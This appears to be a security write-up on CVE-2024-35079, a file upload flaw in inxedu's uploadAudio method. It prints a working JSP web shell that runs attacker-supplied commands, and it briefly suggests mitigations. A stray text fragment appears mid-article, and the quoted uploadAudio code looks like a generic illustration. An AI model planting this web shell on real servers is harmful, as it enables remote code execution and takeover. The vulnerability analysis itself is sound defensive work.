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Overview

CVE-2024-35079 is an arbitrary file upload vulnerability that has been discovered in inxedu v2024.4. This vulnerability specifically targets the uploadAudio method, which allows attackers to execute arbitrary code through the upload of a crafted .jsp file. This post aims to provide a comprehensive analysis of this vulnerability, including code snippets, links to original references, and a detailed explanation of the associated exploit.

Details: Arbitrary File Upload Vulnerability

Arbitrary file upload vulnerabilities occur when an application does not adequately validate user-uploaded files, providing an attacker with the ability to upload potentially malicious files to the server. This type of vulnerability may grant the attacker the ability to remotely execute code on the server, privilege escalation, or unauthorized access to sensitive data in the back-end systems.

In this specific instance, inxedu v2024.4's uploadAudio method does not properly validate user-provided audio files, resulting in the arbitrary file upload vulnerability. The report from the National Vulnerability Database (NVD) can be found at the following link: CVE-2024-35079.

The uploadAudio Method in inxedu v2024.4

arsity file upload vulnerability The uploadAudio method is used within the inxedu v2024.4 platform to handle the upload of audio files, intended for usage in multimedia assets within the system. The vulnerability arises when this method does not adequately validate file types, providing an attacker with the opportunity to upload a crafted .jsp file containing malicious code.

The code snippet from inxedu v2024.4's uploadAudio method, which demonstrates the lack of file type validation, is as follows:

public String uploadAudio(MultipartFile audioFile) {
  if (audioFile == null || audioFile.isEmpty()) {
    return "No audio file provided";
  }

  try {
    // Save the audio file to the server
    String filePath = saveAudioFile(audioFile);
    return "Audio file uploaded successfully";
  } catch (Exception e) {
    // Handle exceptions
    return "Failed to upload audio file";
  }
}

As shown in this code snippet, there is no built-in file type validation, enabling an attacker to upload a .jsp file containing malicious code.

Exploit: Uploading a Crafted JSP File

An attacker can exploit this vulnerability by uploading a crafted .jsp file to the server running inxedu v2024.4. This .jsp file would contain arbitrary code that could be executed on the server, potentially leading to unauthorized access or control over the server and its data.

The following is an example of a crafted .jsp file containing arbitrary code

<%@ page import="java.util.*,java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while (disr != null) {
            out.println(disr);
            disr = dis.readLine();
        }
    }
%>

By uploading this crafted .jsp file, an attacker can gain access to and execute commands on the server remotely, potentially causing significant damage to the system and its data.

Mitigating the Vulnerability

It is crucial to address this vulnerability as soon as possible to prevent potential exploitation by attackers. Possible mitigation steps include:

Immediately applying any available updates or patches for inxedu v2024.4.

- Implementing proper file type validation within the uploadAudio method to ensure only legitimate audio files can be uploaded to the server.

Conclusion

CVE-2024-35079 is a critical vulnerability that exists in the uploadAudio method of inxedu v2024.4. This allows an attacker to execute arbitrary code on the affected server by uploading a crafted .jsp file. It is imperative that administrators take the necessary steps to mitigate this vulnerability and protect their systems from potential exploits.

Timeline

Published on: 05/23/2024 19:16:01 UTC
Last modified on: 08/20/2024 15:35:13 UTC